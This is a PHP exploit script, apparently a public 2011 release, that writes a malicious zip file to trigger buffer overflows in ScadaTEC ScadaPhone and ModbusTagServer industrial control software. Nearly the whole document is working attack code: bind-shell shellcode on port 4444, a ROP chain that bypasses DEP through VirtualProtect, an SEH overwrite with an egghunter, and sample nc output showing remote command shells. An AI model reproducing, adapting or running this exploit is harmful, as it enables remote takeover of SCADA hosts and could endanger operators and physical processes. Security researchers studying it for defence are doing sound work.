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<?php /* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ScadaTEC ModbusTagServer & ScadaPhone (.zip) buffer overflow exploit (0day) Date: 09/09/2011 Author: mr_me (@net__ninja) Vendor: http://www.scadatec.com/ ScadaPhone Version: <= 5.3.11.1230 ModbusTagServer Version: <= 4.1.1.81 Tested on: Windows XP SP3 NX=AlwaysOn/OptIn ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Notes: - The ScadaPhone exploit is a DEP bypass under windows XP sp3 only - The ModbusTagServer exploit does not bypass dep - To trigger this vulnerability, you must 'load' a project from a zip file. Feel free to improve it if you want. Example usage: [mr_me@neptune scadatec]$ php zip.php -t scadaphone [mr_me@neptune scadatec]$ nc -v 192.168.114.141 4444 Connection to 192.168.114.141 4444 port [tcp/krb524] succeeded! Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\ScadaTEC\ScadaPhone\Projects> [mr_me@neptune scadatec]$ php zip.php -t modbustagserver [mr_me@neptune scadatec]$ nc -v 192.168.114.141 4444 Connection to 192.168.114.141 4444 port [tcp/krb524] succeeded! Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\ScadaTEC\ModbusTagServer\Projects> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 'The reason they call it the American Dream is because you have to be asleep to believe it.' ~ George Carlin */ if ($argc < 3) { print_r(" ----------------------------------------------------------------------------- Usage: php ".$argv[0]." -t <software> software:target software Example: php ".$argv[0]." -t scadaphone php ".$argv[0]." -t modbustagserver ----------------------------------------------------------------------------- "); die; } function setArgs($argv){ $_ARG = array(); foreach ($argv as $arg){ if (ereg("--([^=]+)=(.*)", $arg, $reg)){ $_ARG[$reg[1]] = $reg[2]; }elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){ $_ARG[$reg[1]] = "true"; }else { $_ARG["input"][] = $arg; } } return $_ARG; } $myArgs = setArgs($argv); $target = $myArgs["input"]["1"]; $lf_header = "\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\xb7\xac\xce\x34\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00"; $cdf_header = "\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xb7\xac\xce\x34\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; $efcdr_record = "\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00". "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00"; $___offset = 4064; // bind shell on port 4444 $___sc = "\x90\x90\x90\x90". "\xd9\xc7\xb8\x94\x32\x09\x43\xd9\x74\x24\xf4\x5b\x31\xc9\xb1". "\x56\x31\x43\x18\x83\xeb\xfc\x03\x43\x80\xd0\xfc\xbf\x40\x9d". "\xff\x3f\x90\xfe\x76\xda\xa1\x2c\xec\xae\x93\xe0\x66\xe2\x1f". "\x8a\x2b\x17\x94\xfe\xe3\x18\x1d\xb4\xd5\x17\x9e\x78\xda\xf4". "\x5c\x1a\xa6\x06\xb0\xfc\x97\xc8\xc5\xfd\xd0\x35\x25\xaf\x89". "\x32\x97\x40\xbd\x07\x2b\x60\x11\x0c\x13\x1a\x14\xd3\xe7\x90". "\x17\x04\x57\xae\x50\xbc\xdc\xe8\x40\xbd\x31\xeb\xbd\xf4\x3e". "\xd8\x36\x07\x96\x10\xb6\x39\xd6\xff\x89\xf5\xdb\xfe\xce\x32". "\x03\x75\x25\x41\xbe\x8e\xfe\x3b\x64\x1a\xe3\x9c\xef\xbc\xc7". "\x1d\x3c\x5a\x83\x12\x89\x28\xcb\x36\x0c\xfc\x67\x42\x85\x03". "\xa8\xc2\xdd\x27\x6c\x8e\x86\x46\x35\x6a\x69\x76\x25\xd2\xd6". "\xd2\x2d\xf1\x03\x64\x6c\x9e\xe0\x5b\x8f\x5e\x6e\xeb\xfc\x6c". "\x31\x47\x6b\xdd\xba\x41\x6c\x22\x91\x36\xe2\xdd\x19\x47\x2a". "\x1a\x4d\x17\x44\x8b\xed\xfc\x94\x34\x38\x52\xc5\x9a\x92\x13". "\xb5\x5a\x42\xfc\xdf\x54\xbd\x1c\xe0\xbe\xc8\x1a\x2e\x9a\x99". "\xcc\x53\x1c\x0c\x51\xdd\xfa\x44\x79\x8b\x55\xf0\xbb\xe8\x6d". "\x67\xc3\xda\xc1\x30\x53\x52\x0c\x86\x5c\x63\x1a\xa5\xf1\xcb". "\xcd\x3d\x1a\xc8\xec\x42\x37\x78\x66\x7b\xd0\xf2\x16\xce\x40". "\x02\x33\xb8\xe1\x91\xd8\x38\x6f\x8a\x76\x6f\x38\x7c\x8f\xe5". "\xd4\x27\x39\x1b\x25\xb1\x02\x9f\xf2\x02\x8c\x1e\x76\x3e\xaa". "\x30\x4e\xbf\xf6\x64\x1e\x96\xa0\xd2\xd8\x40\x03\x8c\xb2\x3f". "\xcd\x58\x42\x0c\xce\x1e\x4b\x59\xb8\xfe\xfa\x34\xfd\x01\x32". "\xd1\x09\x7a\x2e\x41\xf5\x51\xea\x71\xbc\xfb\x5b\x1a\x19\x6e". "\xde\x47\x9a\x45\x1d\x7e\x19\x6f\xde\x85\x01\x1a\xdb\xc2\x85". "\xf7\x91\x5b\x60\xf7\x06\x5b\xa1"; if(strcmp($target,"scadaphone") === 0){ // add esp 418; retn $___pivot = "\x0b\x33\xc6\x01"; $___jmp = "\xeb\x06HI"; $___rop = ""; $___rop .= "\x1c\x05\x03\x10". // xor edx,edx; retn "\xa2\xce\x02\x10". // pop eax; retn "\xf4\x11\x6e\x6d". // &VirtualProtect "\xa9\x4e\x01\x10". // mov eax,[eax]; retn "\xd7\xbf\x01\x10". // push eax; mov eax,[edx*4+10036948]; and eax,esi; pop esi; pop ebx; retn "\xc0\xff\xff\xff". // special sauce ----------------------------------------------^^ "\x1e\xe0\x02\x10". // add edx,ebx; pop ebx; retn 10 "LOLZ". // junk "\xea\x37\xc6\x01". // neg edx; neg eax; sbb edx,0; pop ebx; retn 10 "CAFEBABE". // junk "CAFEBABE". // junk "\xbf\x52\xc6\x01". // .data writable ------------------^^ "\xa2\xce\x02\x10". // pop eax; retn "CAFEBABE". // junk "CAFEBABE". // junk "\x17\x32\xc6\x01". // ptr to 0x400 "\xa9\x4e\x01\x10". // mov eax,[eax]; retn "\xe4\x85\x02\x10". // xchg eax,ebx; add dl,[eax]; mov [eax+8],11; mov eax,13; retn "\xa2\xce\x02\x10". // pop eax; retn "\x90\x90\x90\x90". // nops "\x53\x54\x10\x10". // pop edi; retn "\x54\x54\x10\x10". // retn "\x01\xec\x02\x10". // pop ecx; retn "\xc0\x52\xc6\x01". // .data writable "\x03\xc0\x17\x10". // pop ebp; retn "\x44\xcb\x2b\x10". // ptr to 'push esp; ret' "\xb7\xc9\x27\x10"; // pushad; retn $___exploit = str_repeat("\x41",57). $___rop; $___exploit .= str_repeat("\x90",277-strlen($___exploit)). $___jmp. $___pivot. $___sc; $___exploit .= str_repeat("\x41",$___offset-strlen($___exploit))."\x1e\x74\x78\x74"; }else if(strcmp($target,"modbustagserver") === 0) { $__hunter = "\x66\x81\xcA\xff\x0f\x42\x52\x6a". "\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8". "OMFG". "\x8b\xfa\xaf\x75\xeA\xaf\x75\xe7\xff\xe7"; $___nseh = "\xeb\xceHI"; // pop esi; pop ebx; retn $___seh = "\xac\x14\x40\x00"; $___exploit = str_repeat("\x41",229). $__hunter. str_repeat("\x44",48-strlen($__hunter)). $___nseh. $___seh. str_repeat("\x44",100). "OMFGOMFG". $___sc; $___exploit .= str_repeat("\x41",$___offset-strlen($___exploit))."\x1e\x74\x78\x74"; }else{ exit(0); } $_____boom = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record; file_put_contents("scadatec.zip",$_____boom); ?> |
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